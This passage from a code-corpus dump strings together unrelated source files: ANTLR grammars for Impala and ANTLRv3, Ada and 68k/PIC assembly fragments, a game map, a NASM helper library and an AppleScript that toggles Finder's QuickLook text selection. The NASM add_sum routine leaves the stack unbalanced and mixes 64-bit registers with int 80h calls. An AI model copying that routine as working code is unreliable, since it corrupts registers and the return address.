Ada.Text_IO.Put_Line (Ada.Text_IO.Standard_Error.all, "ok");
end Test_SHA512;
|
Qsi.Impala/Antlr/ImpalaLexerInternal.g4 | ScriptBox99/chequer-qsi | 36 | 2075 | lexer grammar ImpalaLexerInternal;
options {
superClass = ImpalaBaseLexer;
}
tokens {
UNMATCHED_STRING_LITERAL,
INTEGER_LITERAL,
NUMERIC_OVERFLOW,
DECIMAL_LITERAL,
EMPTY_IDENT,
IDENT,
STRING_LITERAL,
COMMENTED_PLAN_HINT_START,
COMMENTED_PLAN_HINT_END,
UNEXPECTED_CHAR,
KW_AND,
KW_ADD,
KW_AGGREGATE,
KW_ALL,
KW_ALTER,
KW_ANALYTIC,
KW_ANTI,
KW_API_VERSION,
KW_ARRAY,
KW_AS,
KW_ASC,
KW_AUTHORIZATION,
KW_AVRO,
KW_BETWEEN,
KW_BIGINT,
KW_BINARY,
KW_BLOCKSIZE,
KW_BOOLEAN,
KW_BY,
KW_CACHED,
KW_CASCADE,
KW_CASE,
KW_CAST,
KW_CHANGE,
KW_CHAR,
KW_CLASS,
KW_CLOSE_FN,
KW_COLUMN,
KW_COLUMNS,
KW_COMMENT,
KW_COMPRESSION,
KW_COMPUTE,
KW_CONSTRAINT,
KW_COPY,
KW_CREATE,
KW_CROSS,
KW_CUBE,
KW_CURRENT,
KW_DATA,
KW_DATABASE,
KW_DATABASES,
KW_DATE,
KW_DATETIME,
KW_DECIMAL,
KW_DEFAULT,
KW_DELETE,
KW_DELIMITED,
KW_DESC,
KW_DESCRIBE,
KW_DISABLE,
KW_DISTINCT,
KW_DIV,
KW_DOUBLE,
KW_DROP,
KW_ELSE,
KW_ENABLE,
KW_ENCODING,
KW_END,
KW_ESCAPED,
KW_EXCEPT,
KW_EXISTS,
KW_EXPLAIN,
KW_EXTENDED,
KW_EXTERNAL,
KW_FALSE,
KW_FIELDS,
KW_FILEFORMAT,
KW_FILES,
KW_FINALIZE_FN,
KW_FIRST,
KW_FLOAT,
KW_FOLLOWING,
KW_FOR,
KW_FOREIGN,
KW_FORMAT,
KW_FORMATTED,
KW_FROM,
KW_FULL,
KW_FUNCTION,
KW_FUNCTIONS,
KW_GRANT,
KW_GROUP,
KW_GROUPING,
KW_HASH,
KW_HAVING,
KW_HUDIPARQUET,
KW_ICEBERG,
KW_IF,
KW_IGNORE,
KW_ILIKE,
KW_IN,
KW_INCREMENTAL,
KW_INIT_FN,
KW_INNER,
KW_INPATH,
KW_INSERT,
KW_INT,
KW_INTERMEDIATE,
KW_INTERSECT,
KW_INTERVAL,
KW_INTO,
KW_INVALIDATE,
KW_IREGEXP,
KW_IS,
KW_JOIN,
KW_KUDU,
KW_LAST,
KW_LEFT,
KW_LEXICAL,
KW_LIKE,
KW_LIMIT,
KW_LINES,
KW_LOAD,
KW_LOCATION,
KW_MANAGED_LOCATION,
KW_MAP,
KW_MERGE_FN,
KW_METADATA,
KW_MINUS,
KW_NORELY,
KW_NOT,
KW_NOVALIDATE,
KW_NULL,
KW_NULLS,
KW_OFFSET,
KW_ON,
KW_OR,
KW_LOGICAL_OR,
KW_ORC,
KW_ORDER,
KW_OUTER,
KW_OVER,
KW_OVERWRITE,
KW_PARQUET,
KW_PARQUETFILE,
KW_PARTITION,
KW_PARTITIONED,
KW_PARTITIONS,
KW_PRECEDING,
KW_PREPARE_FN,
KW_PRIMARY,
KW_PRODUCED,
KW_PURGE,
KW_RANGE,
KW_RCFILE,
KW_RECOVER,
KW_REFERENCES,
KW_REFRESH,
KW_REGEXP,
KW_RELY,
KW_RENAME,
KW_REPEATABLE,
KW_REPLACE,
KW_REPLICATION,
KW_RESTRICT,
KW_RETURNS,
KW_REVOKE,
KW_RIGHT,
KW_RLIKE,
KW_ROLE,
KW_ROLES,
KW_ROLLUP,
KW_ROW,
KW_ROWS,
KW_SCHEMA,
KW_SCHEMAS,
KW_SELECT,
KW_SEMI,
KW_SEQUENCEFILE,
KW_SERDEPROPERTIES,
KW_SERIALIZE_FN,
KW_SET,
KW_SETS,
KW_SHOW,
KW_SMALLINT,
KW_SORT,
KW_SPEC,
KW_STATS,
KW_STORED,
KW_STRAIGHT_JOIN,
KW_STRING,
KW_STRUCT,
KW_SYMBOL,
KW_TABLE,
KW_TABLES,
KW_TABLESAMPLE,
KW_TBLPROPERTIES,
KW_TERMINATED,
KW_TEXTFILE,
KW_THEN,
KW_TIMESTAMP,
KW_TINYINT,
KW_TO,
KW_TRUE,
KW_TRUNCATE,
KW_UNBOUNDED,
KW_UNCACHED,
KW_UNION,
KW_UNKNOWN,
KW_UNSET,
KW_UPDATE,
KW_UPDATE_FN,
KW_UPSERT,
KW_USE,
KW_USING,
KW_VALIDATE,
KW_VALUES,
KW_VARCHAR,
KW_VIEW,
KW_WHEN,
KW_WHERE,
KW_WITH,
KW_ZORDER,
UNUSED_RESERVED_WORD
}
fragment A: ('a'|'A');
fragment B: ('b'|'B');
fragment C: ('c'|'C');
fragment D: ('d'|'D');
fragment E: ('e'|'E');
fragment F: ('f'|'F');
fragment G: ('g'|'G');
fragment H: ('h'|'H');
fragment I: ('i'|'I');
fragment J: ('j'|'J');
fragment K: ('k'|'K');
fragment L: ('l'|'L');
fragment M: ('m'|'M');
fragment N: ('n'|'N');
fragment O: ('o'|'O');
fragment P: ('p'|'P');
fragment Q: ('q'|'Q');
fragment R: ('r'|'R');
fragment S: ('s'|'S');
fragment T: ('t'|'T');
fragment U: ('u'|'U');
fragment V: ('v'|'V');
fragment W: ('w'|'W');
fragment X: ('x'|'X');
fragment Y: ('y'|'Y');
fragment Z: ('z'|'Z');
COMMENT
: '--'
{ Hint == default }?
(~[\r\n]* ('\r'? '\n' | { InputStream.LA(1) == Eof }?))
{ !IsCommentPlanHint() }?
-> skip
;
MULTILINE_COMMENT
: '/*'
{ Hint == default }?
(.*? '*/')
{ !IsCommentPlanHint() }?
-> skip
;
CommentedHintBegin
: '/*'
{ Hint == default }?
(' '* '+')
{ Hint = LexHint.MultiLineComment; }
-> type(COMMENTED_PLAN_HINT_START)
;
EolHintBegin
: '--'
{ Hint == default }?
(' '* '+')
{ Hint = LexHint.SingleLineComment; }
-> type(COMMENTED_PLAN_HINT_START)
;
CommentedHintEnd
: '*/'
{ Hint == LexHint.MultiLineComment }?
{ Hint = default; }
-> type(COMMENTED_PLAN_HINT_END)
;
LineTerminator
: ('\r'? '\n' | EOF)
{ Hint == LexHint.SingleLineComment }?
{ Hint = default; }
-> type(COMMENTED_PLAN_HINT_END)
;
fragment Identifier: DIGIT* LETTER LETTER_OR_DIGIT*;
IdentifierOrKw: (Identifier | '.' Identifier | '&&' | '||') { CategorizeIdentifier(); };
// Order of rules to resolve ambiguity:
// The rule for recognizing integer literals must come before the rule for
// double literals to, e.g., recognize "1234" as an integer literal.
// The rule for recognizing double literals must come before the rule for
// identifiers to, e.g., recognize "1e6" as a double literal.
INTEGER_LITERAL: DIGIT+;
fragment FLit1: [0-9]+ '.' [0-9]*;
fragment FLit2: '.' [0-9]+;
fragment FLit3: [0-9]+;
fragment Exponent: E? ('+' | '-')? [0-9]+;
DECIMAL_LITERAL: (FLit1 | FLit2 | FLit3) Exponent?;
fragment DIGIT: [0-9];
fragment LETTER: [a-zA-Z\u0080-\u00FF_];
fragment LETTER_OR_DIGIT: LETTER | DIGIT;
EMPTY_IDENT: '``';
IDENT: '`' ('\\' . | ~[\\`])+? '`';
STRING_LITERAL
: '\'' ('\\' . | ~[\\'])*? '\''
| '"' ('\\' . | ~[\\"])*? '"'
;
// Put '...' before '.'
DOTDOTDOT: '...';
// single-character tokens
COLON: ':';
SEMICOLON: ';';
COMMA: ',';
DOT: '.';
STAR: '*';
LPAREN: '(';
RPAREN: ')';
LBRACKET: '[';
RBRACKET: ']';
DIVIDE: '/';
MOD: '%';
ADD: '+';
SUBTRACT: '-';
BITAND: '&';
BITOR: '|';
BITXOR: '^';
BITNOT: '~';
EQUAL: '=';
NOT: '!';
LESSTHAN: '<';
GREATERTHAN: '>';
UNMATCHED_STRING_LITERAL: '"' | '\'' | '`';
NOTEQUAL: '!=';
//INTEGER_LITERAL: "INTEGER LITERAL";
//NUMERIC_OVERFLOW: "NUMERIC OVERFLOW";
//DECIMAL_LITERAL: "DECIMAL LITERAL";
//EMPTY_IDENT: "EMPTY IDENTIFIER";
//IDENT: "IDENTIFIER";
//STRING_LITERAL: "STRING LITERAL";
//COMMENTED_PLAN_HINT_START: "COMMENTED_PLAN_HINT_START";
//COMMENTED_PLAN_HINT_END: "COMMENTED_PLAN_HINT_END";
//UNEXPECTED_CHAR: "Unexpected character";
WS: [ \t\f\r\n] -> skip;
UNEXPECTED_CHAR: .;
|
iod/iou/flnk.asm | olifink/smsqe | 0 | 168938 | ; IO Device find device linkage V2.02 1986 <NAME> QJUMP
section exten
xdef iou_flnk
xdef iou_ipar
include dev8_keys_err
include dev8_keys_iod
include dev8_keys_sys
include dev8_keys_qdos_sms
;+++
; This routine finds the device driver linkage using the device name.
;
; d1 s
; d2 s
; d7 c p three character + '0' device name
; a0 r pointer to iod_iolk
;
; status return 0 or err.ipar
;---
iou_flnk
moveq #sms.info,d0 ; find system vars
trap #1
move.l sys_fsdl(a0),a0 ; ... and linked list of directory drvs
move.l a0,d1
beq.s iuf_ipar ; none at all!!
iuf_loop
cmp.l iod_dnam+2-iod_iolk(a0),d7 ; the right driver?
beq.s iuf_rts ; ... yes
move.l (a0),a0 ; ... no, try the next
move.l a0,d1 ; the last?
bne.s iuf_loop
iou_ipar
iuf_ipar
moveq #err.ipar,d0
iuf_rts
rts
end
|
vector.ads | adrianhoe/adactfft | 0 | 25794 | <gh_stars>0
--------------------------------------------------------------------------------
-- * Spec name vector.ads
-- * Project name ctffttest
-- *
-- * Version 1.0
-- * Last update 11/5/08
-- *
-- * Created by <NAME> on 11/5/08.
-- * Copyright (c) 2008 AdaStar Informatics http://adastarinformatics.com
-- * All rights reserved.
-- *
--------------------------------------------------------------------------------
with Ada.Numerics.Generic_Complex_Types;
package Vector is
subtype Index is Positive;
subtype Real_Number is Long_Long_Float;
package Complex_Types is
new Ada.Numerics.Generic_Complex_Types (Real_Number);
use Complex_Types;
subtype Complex_Number is Complex;
type Real_Vector_Type is array (Index range <>) of Real_Number;
type Real_Vector_Handle is access Real_Vector_Type;
type Complex_Vector_Type is array (Index range <>) of Complex_Number;
type Complex_Vector_Handle is access Complex_Vector_Type;
-- procedure Get (Num : out Real_Vector_Type);
-- procedure Get (File : in File_Type;
-- Num : out Real_Vector_Type);
procedure Put (Data : in Real_Vector_Type;
Width : in Integer := 1);
-- procedure Put (File : in File_Type;
-- Num : in Real_Vector_Type;
-- Width : in Integer := 1);
end Vector;
|
src/tocompress/map-catacombs1.asm | santiontanon/talesofpopolon-ext | 4 | 86998 | <gh_stars>1-10
include "../constants.asm"
org #0000
skybox:
db 0
texture_set:
db 1
floortypeandcolor:
; db 0
db #60
ceilingtypeandcolor:
; db 0
db #d0
map:
db 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
db 4,0,7,7,7,7,7,7,7,7,7,7,7,7,7,7
db 7,0,7,7,7,7,0,0,0,0,0,7,7,7,7,7
db 128+8,0,128+8,1,128+8,7,0,128+8,0,128+8,0,7,7,7,7,7
db 7,0,7,128+8,7,7,0,0,0,0,0,7,0,7,7,7
db 128+8,0,128+8,0,128+8,7,7,3,7,7,7,7,0,7,7,7
db 7,0,7,0,7,7,7,0,7,7,7,7,0,7,7,7
db 128+8,0,128+8,0,128+8,7,7,0,0,0,0,0,0,7,7,7
db 7,0,7,0,7,7,7,7,0,7,7,7,3,7,7,7
db 7,0,0,0,0,0,0,0,0,3,3,0,0,0,0,5
db 7,7,7,7,7,1,7,7,1,7,7,7,7,7,7,7
db 7,0,0,0,0,0,7,0,0,0,7,7,7,7,7,7
db 7,0,0,0,0,0,7,0,0,0,7,7,7,7,7,7
db 7,0,0,0,0,0,7,7,0,7,7,7,7,7,7,7
db 7,0,0,0,0,0,7,7,0,0,0,7,7,7,7,7
db 7,7,7,7,7,7,7,7,128+8,7,7,7,7,7,7,7
pickups:
db 3
; item type, x, y, sprite
db ITEM_KEY , 3*16+8,5*16+8,SPRITE_PATTERN_KEY
db ITEM_KEY ,12*16+8,4*16+8,SPRITE_PATTERN_KEY
db ITEM_ARROW , 8*16+8,2*16+8,SPRITE_PATTERN_CHEST
enemies:
db 12
; enemy type, x, y, sprite, color, hit points, state1, state2, state3
db ENEMY_SNAKE , 1*16+4, 7*16+8, ENEMY_SNAKE_SPRITE_PATTERN, 10, 2,0,0,0
db ENEMY_SNAKE , 8*16+4,13*16+8, ENEMY_SNAKE_SPRITE_PATTERN, 10, 2,0,0,0
db ENEMY_SKELETON , 3*16+4,13*16+8, ENEMY_SKELETON_SPRITE_PATTERN, 14, 2,0,0,0
db ENEMY_SKELETON , 5*16+4,13*16+8, ENEMY_SKELETON_SPRITE_PATTERN, 14, 2,0,0,0
db ENEMY_SKELETON , 1*16+4,14*16+8, ENEMY_SKELETON_SPRITE_PATTERN, 14, 2,0,0,0
db ENEMY_SKELETON , 6*16+4, 4*16+8, ENEMY_SKELETON_SPRITE_PATTERN, 14, 2,0,0,0
db ENEMY_SKELETON ,10*16+4, 4*16+8, ENEMY_SKELETON_SPRITE_PATTERN, 14, 2,0,0,0
db ENEMY_RAT_H , 7*16+8, 7*16+8, ENEMY_RAT_SPRITE_PATTERN, 13, 1,0,0,0
; for switches, state1 is the initial state, state2 is the event triggered, state3 is the parameter of the event
db ENEMY_SWITCH , 1*16+8,14*16+8, ENEMY_SWITCH_RIGHT_SPRITE_PATTERN, 15, 1,SWITCH_STATE_RIGHT,EVENT_OPEN_GATE,7+5*16
db ENEMY_SWITCH ,10*16+8,14*16+8, ENEMY_SWITCH_RIGHT_SPRITE_PATTERN, 15, 1,SWITCH_STATE_RIGHT,EVENT_OPEN_GATE,9+9*16
db ENEMY_SWITCH ,10*16+8, 2*16+8, ENEMY_SWITCH_RIGHT_SPRITE_PATTERN, 15, 1,SWITCH_STATE_RIGHT,EVENT_OPEN_GATE,10+9*16
db ENEMY_SWITCH ,12*16+8, 9*16+8, ENEMY_SWITCH_RIGHT_SPRITE_PATTERN, 15, 1,SWITCH_STATE_RIGHT,EVENT_OPEN_GATE,12+8*16
events_map:
db 3
; x, y, event ID (the first 4 IDs are reserved for 4 potential messages below (each of them
; 4 lines of 22 characters each))
db #10,#20,0
db #30,#50,1
db #80,#E0,2
messages_map:
dw 22*12 ;; length of the message data block below
db "OH GODS OF OLYMPUS! "
db "THIS PLACE IS FULL OF "
db "TRAPPED SOULS. THIS IS"
db "A TORTURE CHAMBER! "
db " A PRISONER SAYS: "
db "POPOLON! IT IS YOU!! "
db "SAVE US! THE KERES DID"
db "THIS!! "
db " A PRISONER SAYS: "
db "THE KERES ARE SPIRITS "
db "OF DEATH! THEY DESPISE"
db "THANATOS! "
|
tests/shen/stdlib/nasm/core_lib.asm | openn2o/jitredis | 1 | 166940 | global add_sum
add_sum:
push rbp
mov rbp, rsp
push rbx
push rax
add rax, rbx
pop rbx
pop rbp
ret
;; string
slen:
push rbx
mov rbx, rax
nextchar:
cmp byte [rax], 0
jz finished
inc rax
jmp nextchar
finished:
sub rax, rbx
pop rbx
ret
;------------------------------------------
; void sprint(String message)
; String printing function
sprint:
push rdx
push rcx
push rbx
push rax
call slen
mov rdx, rax
pop rax
mov rcx, rax
mov rbx, 1
mov rax, 4
int 80h
pop rbx
pop rcx
pop rdx
ret
;------------------------------------------
; void exit()
; Exit program and restore resources
quit:
mov rbx, 0
mov rax, 1
int 80h
ret
|
Scripts Pack Source Items/Scripts Pack/Finder/Text Selection in QuickLook.applescript | Phorofor/ScriptsPack.macOS | 1 | 3516 | <filename>Scripts Pack Source Items/Scripts Pack/Finder/Text Selection in QuickLook.applescript
# Scripts Pack - Tweak various preference variables in macOS
# <Phorofor, https://github.com/Phorofor/>
-- Select Text in QuickLook
-- Versions compatible: -
-- Preference Identifier: com.apple.Finder
-- Preference Key: QLEnableTextSelection
-- Preference location: ~/Library/Preferences/com.apple.Finder.plist
-- Default value (boolean): NO
set toggleBut to "Enable"
set tZ to "enable"
set sTz to "YES"
set bT to "You've decided to enable the Dashboard's developer mode function."
try
set prValue to do shell script "defaults read com.apple.Finder QLEnableTextSelection"
if prValue = "1" then
set toggleBut to "Disable"
set tZ to "disable"
set sTz to "NO"
set bT to "You've decided to enable the selection of text in QuickLook."
set prValue to "The select text in QuickLook feature is disabled."
else
set prValue to "The selection of text in QuickLook is enabled."
end if
on error
set prValue to "The selection of text in QuickLook is disabled by default."
end try
display alert "Would you like to " & tZ & " the selection of text in QuickLook?" message "By default, when a document that contains text (such as a .txt file) you won't be able to select any text. If you click 'Enable' you'll be able to highlight and select text in a previewed file using QuickLook." & return & return & prValue buttons {"Cancel", "Clear", toggleBut} default button 3 cancel button 1
if the button returned of the result is toggleBut then
do shell script "defaults write com.apple.Finder QLEnableTextSelection -bool " & sTz
else
do shell script "defaults delete com.apple.Finder QLEnableTextSelection"
set bT to "You've decided to clear the text selection in QuickLook preference."
end if
display alert "Changes Applied!" message bT & " Your changes should have taken effect."
end |
third_party/antlr_grammars_v4/antlr/antlr3/ANTLRv3Parser.g4 | mikhan808/rsyntaxtextarea-antlr4-extension | 2 | 3842 | <filename>third_party/antlr_grammars_v4/antlr/antlr3/ANTLRv3Parser.g4<gh_stars>1-10
/*
[The "BSD licence"]
Copyright (c) 2005-2007 <NAME>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the author may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
parser grammar ANTLRv3Parser;
options { tokenVocab = ANTLRv3Lexer; }
grammarDef
: DOC_COMMENT? (LEXER | PARSER | TREE| ) GRAMMAR id SEMI optionsSpec? tokensSpec? attrScope* action* rule_+
EOF
;
tokensSpec
: TOKENS LBRACE tokenSpec+ RBRACE
;
tokenSpec
: TOKEN_REF ( EQUAL (STRING_LITERAL | CHAR_LITERAL) | ) SEMI
;
attrScope
: SCOPE id actionBlock
;
action
: AT (actionScopeName COLONCOLON)? id actionBlock
;
actionScopeName
: id
| LEXER
| PARSER
;
optionsSpec
: OPTIONS LBRACE option* RBRACE
;
option
: id EQUAL optionValue SEMI
;
optionValue
: id
| STRING_LITERAL
| CHAR_LITERAL
| INT
| STAR
;
rule_
: DOC_COMMENT? ((PROTECTED | PUBLIC | PRIVATE | FRAGMENT))? id BANG? argActionBlock? (RETURNS argActionBlock)? throwsSpec? optionsSpec? ruleScopeSpec? ruleAction* COLON altList SEMI exceptionGroup?
;
ruleAction
: AT id actionBlock
;
throwsSpec
: THROWS id (COMMA id)*
;
ruleScopeSpec
: SCOPE actionBlock
| SCOPE id (COMMA id)* SEMI
| SCOPE actionBlock SCOPE id (COMMA id)* SEMI
;
block
: LPAREN ((optionsSpec)? COLON)?
alternative rewrite (OR alternative rewrite )*
RPAREN
;
altList
: alternative rewrite (OR alternative rewrite )*
;
alternative
: element+
|
;
exceptionGroup
: (exceptionHandler)+ (finallyClause)?
| finallyClause
;
exceptionHandler
: CATCH argActionBlock actionBlock
;
finallyClause
: FINALLY actionBlock
;
element
: elementNoOptionSpec
;
elementNoOptionSpec
: id (EQUAL | PEQ) atom (ebnfSuffix | )
| id (EQUAL | PEQ) block (ebnfSuffix | )
| atom (ebnfSuffix | )
| ebnf
| actionBlock
| actionBlock QM ( SEMPREDOP | )
| treeSpec (ebnfSuffix | )
;
actionBlock
: BEGIN_ACTION ACTION_CONTENT* END_ACTION
;
argActionBlock
: BEGIN_ARGUMENT ARGUMENT_CONTENT* END_ARGUMENT
;
atom
: range ( ROOT | BANG | )
| terminal_
| notSet ( ROOT | BANG | )
| RULE_REF argActionBlock? ( ROOT | BANG )?
;
notSet
: NOT (notTerminal | block)
;
treeSpec
: TREE_BEGIN element (element)+ RPAREN
;
ebnf
: block (QM | STAR | PLUS | SEMPREDOP | )
;
range
: CHAR_LITERAL RANGE CHAR_LITERAL
;
terminal_
: (CHAR_LITERAL
| TOKEN_REF (argActionBlock | )
| STRING_LITERAL
| DOT
) (ROOT | BANG)?
;
notTerminal
: CHAR_LITERAL
| TOKEN_REF
| STRING_LITERAL
;
ebnfSuffix
: QM
| STAR
| PLUS
;
rewrite
: (REWRITE actionBlock QM rewrite_alternative)* REWRITE rewrite_alternative
|
;
rewrite_alternative
: rewrite_template
| rewrite_tree_alternative
|
;
rewrite_tree_block
: LPAREN rewrite_tree_alternative RPAREN
;
rewrite_tree_alternative
: rewrite_tree_element+
;
rewrite_tree_element
: rewrite_tree_atom
| rewrite_tree_atom ebnfSuffix
| rewrite_tree (ebnfSuffix | )
| rewrite_tree_ebnf
;
rewrite_tree_atom
: CHAR_LITERAL
| TOKEN_REF argActionBlock?
| RULE_REF
| STRING_LITERAL
| DOLLAR id
| actionBlock
;
rewrite_tree_ebnf
: rewrite_tree_block ebnfSuffix
;
rewrite_tree
: TREE_BEGIN rewrite_tree_atom rewrite_tree_element* RPAREN
;
rewrite_template
: id LPAREN rewrite_template_args RPAREN
( DOUBLE_QUOTE_STRING_LITERAL | DOUBLE_ANGLE_STRING_LITERAL )
| rewrite_template_ref
| rewrite_indirect_template_head
| actionBlock
;
rewrite_template_ref
: id LPAREN rewrite_template_args RPAREN
;
rewrite_indirect_template_head
: LPAREN actionBlock RPAREN LPAREN rewrite_template_args RPAREN
;
rewrite_template_args
: rewrite_template_arg (COMMA rewrite_template_arg)*
|
;
rewrite_template_arg
: id EQUAL actionBlock
;
id
: TOKEN_REF
| RULE_REF
;
|
44-运行简单程序(无文档)/OS-kernel-win-sheet/hlt.asm | wdkang123/MyOperatingSystem | 7 | 164384 | org 0
cli
fin:
jmp fin |
Asm/Tetradeca.X/main.asm | SmallRoomLabs/Tetradeca | 1 | 168308 | <reponame>SmallRoomLabs/Tetradeca
;-----------------------------------------------------------------------------
; Tetradeca - A multi-game unit using 14 segment LED displays and a PIC16F1705
;-----------------------------------------------------------------------------
;
; The files for the full project are located at
; github.com/SmallRoomLabs/Tetradeca
;
; Copyright (c) 2016 <NAME> SmallRoomLabs
; Released under the MIT license
;
; This project is an entry for the Hackaday 1kB Competition:
; hackaday.io/contest/18215-the-1kb-challenge
; The size of the code and data tables are limited to 1024 bytes in total.
; Since the PIC16-series have a 14 bit code architecture so the 1024 bytes
; only allows for 1024*8/14=585 "words"
;
; Games:
; * CRACK Four letter word Mastermind (dissabled)
; * TONES Eight-button Simon (enabled)
; * ZEONE Decimal-to-Binary conversion (enabled)
; * SORTS Sort-the-letters (enabled)
;
; The current code size with CRACK disabled is 554 14-bit words = 970 bytes.
;
; Credits and acknowledgements - I've used code from the sources below. I
; didn't find any license information for them, but I boldly assume they are
; released into the public domain, one being generated by an online tool, the
; other being published by the awesome Mike McLaren in multiple forums when
; replying to people asking about quadrature encoders.
;
; * piclist.com/techref/piclist/codegen/delay.htm for the delay subroutine
; * Mike McLaren K8LH for the Quadrature Encoder decoder snippet
; * Microchip AN544 for the Random number generator
;
; Some general PIC tips & tricks pages that came to good use:
; * picprojects.org.uk/projects/pictips.htm
;
RADIX DEC ; Use decimal numbers by default
ERRORLEVEL -302 ; Kill messages about "Register not in bank 0"
ERRORLEVEL -305 ; Kill messages about "Using default destination"
#include "p16f1705.inc"
__CONFIG _CONFIG1, _FOSC_INTOSC & _WDTE_OFF & _PWRTE_OFF & _MCLRE_ON & _CP_OFF & _BOREN_OFF & _CLKOUTEN_OFF & _IESO_OFF & _FCMEN_OFF
__CONFIG _CONFIG2, _WRT_OFF & _PPS1WAY_OFF & _ZCDDIS_ON & _PLLEN_ON & _STVREN_ON & _BORV_LO & _LPBOR_OFF & _LVP_ON
;
; A0 in ICSPDAT 16F1705 '595
; A1 in ICSPCLK +--v--+ +--v--+
; A2 in Rotary-Button - |1 14| + QB|1 16| +
; A3 in ICSPRES A5 |2 13| RA0/ISPDAT QC|2 15| QA
; A4 out 595-Latch A4 |3 12| RA1/ISPCLK QD|3 14| SerIn
; A5 in <unused> RES/A3 |4 11| RA2 QE|4 13| /OE
; C0 in <unused> C5 |5 10| C0 QF|5 12| LATCH
; C1 in Rotary-A C4 |6 9| C1 QG|6 11| CLOCK
; C2 in Rotary-B C3 |7 8| C2 QH|7 10| /CLEAR
; C3 in Buttons +-----+ - |8 9| SerOut
; C4 out 595-DataIn +-----+
; C5 out 595-Clock
;
;
; Character map
;
; abcdefghijklmn abcdefghijklmn aaaaaaaaa
; =============================================== ih g bc
; 0 0 abc-e---i-klm- 20 J --c-e-----k-m- i h g b c
; 1 1 -bc-e--------- 21 K -b---f--ijk--- i h g b c
; 2 2 a-cd-----jk-m- 22 L --------i-k-m- i hgb c
; 3 3 a-cde-------m- 23 M -bc-e--hi-k--- jjjj dddd
; 4 4 --cde---ij---- 24 N --c-ef-hi-k--- k lnf e
; 5 5 a----f--ij--m- 25 O a-c-e---i-k-m- k l n f e
; 6 6 a--de---ijk-m- 26 P a-cd----ijk--- k l n f e
; 7 7 ab-----------n 27 Q a-c-ef--i-k-m- kl n fe
; 8 8 a-cde---ijk-m- 28 R a-cd-f--ijk--- mmmmmmmmm
; 9 9 a-cde---ij--m- 29 S a--de---ij--m-
; 10 sp -------------- 30 T a-----g------n
; 11 A a-cde---ijk--- 31 U --c-e---i-k-m-
; 12 B a-cde-g-----mn 32 V -b------i-kl--
; 13 C a-------i-k-m- 33 W --c-ef--i-kl--
; 14 D a-c-e-g-----mn 34 X -b---f-h---l--
; 15 E a-------ijk-m- 35 Y -b-----h-----n
; 16 F a-------ijk--- 36 Z ab---------lm-
; 17 G a--de---i-k-m- 37 - ---d-----j----
; 18 H --cde---ijk--- 38 + ---d--g--j---n
; 19 I a-----g-----mn 39 = ---d-----j--m-
;
;*******************************************************************************
; Variables in shared memory
;*******************************************************************************
; CORE REGISTERS
;---------------
; x00 INDF0 x04 FSR0L x08 BSR
; x01 INDF1 x05 FSR0H x09 WREG
; x02 PCL x06 FSR1L x0A PCLATH
; x03 STATUS x07 FSR1H x0B INTCON
;-----------------------
UDATA_SHR ; 16 bytes of shared/global memory area
;-----------------------
dispbuf res 8 ; Display buffer, holds values 0..39 for characters
tick res 1 ; ISR Increments at 0.1 second rate
button res 1 ; ISR The pressed button number 0..7, or 0xFF if no button
encoder res 1 ; ISR Set to negatives or positives, must be 0'd by user
p res 1 ; Generic p(ointer) variable
game res 1 ; The select game number
cnt res 1
round res 1
decr16ms res 1 ; ISR decrements at 16ms rate
;*******************************************************************************
; Variables in individual bank memories
;*******************************************************************************
;-----------------------
bank0 UDATA 0*0x80+0x20 ; Bank 0 PORT/TMRx
;-----------------------
iEncold res 1 ; ISR Used to analyze movements of the rotary decoder
bin res 1
ones res 1 ; Used by Bin2Ascii
tens res 1 ; Used by Bin2Ascii
length res 1 ; Current sequence length
answer res 1
;-----------------------
bank1 UDATA 1*0x80+0x20 ; Bank 1 TRIS/PIE/OPTION_REG/ADCCONx
;-----------------------
rndH res 1 ; Random number
rndL res 1
tmp res 1 ; Temporary variable for random number generation
;-----------------------
bank2 UDATA 2*0x80+0x20 ; Bank 2 LAT/CMx/DAC
;-----------------------
seconds res 1 ; ISR Counts up at 1 Hz
iSec10 res 1 ; ISR used for count 10 ten before seconds+1
iCnt res 1 ; ISR
iCh res 1 ; ISR
iTick49 res 1 ; ISR Counts down from 49 to 0 keeping track of 100ms
iDispno res 1 ; ISR The number of the current display 0..7
iButton res 1 ; ISR Collects buttons during full display scan
;-----------------------
bank3 UDATA 3*0x80+0x20 ; Bank3 ANSEL/PM/RC1/TX1
;-----------------------
guesses res 4*20 ; Up to 20 guesses of 4 letters each
; Defines for compile #ifdef's
#define CRACK 0
#define TONES 1
#define ZEONE 1
#define SORTS 1
; Constants
#define DELAYFACTOR 16 ; The decrement tick is at 16ms rate
#define CHAROFFSET 54 ; @..Z must be offsetted to display correcly
#define SPACE 10
#define MINUS 37 ; Our "ascii" value for -
#define PLUS 38 ; Our "ascii" value for +
#define EQUAL 39 ; Out "ascii" value for =
; Hardware-related constants
#define ENCBUTTON PORTA,2
#define ENCA PORTC,1
#define ENCB PORTC,2
#define BUTTON PORTC,3
#define LATCH595 LATA,4
#define DATA595 LATC,4
#define CLOCK595 LATC,5
#define TRISLATCH TRISA,4
#define TRISDATA TRISC,4
#define TRISCLOCK TRISC,5
;*******************************************************************************
; Reset & Interrupt Vectors
;*******************************************************************************
RES_VECT CODE 0x0000 ; Processor reset vector
goto Start ; Jump to beginning of program
ISR CODE 0x0004 ; Interrupt vector
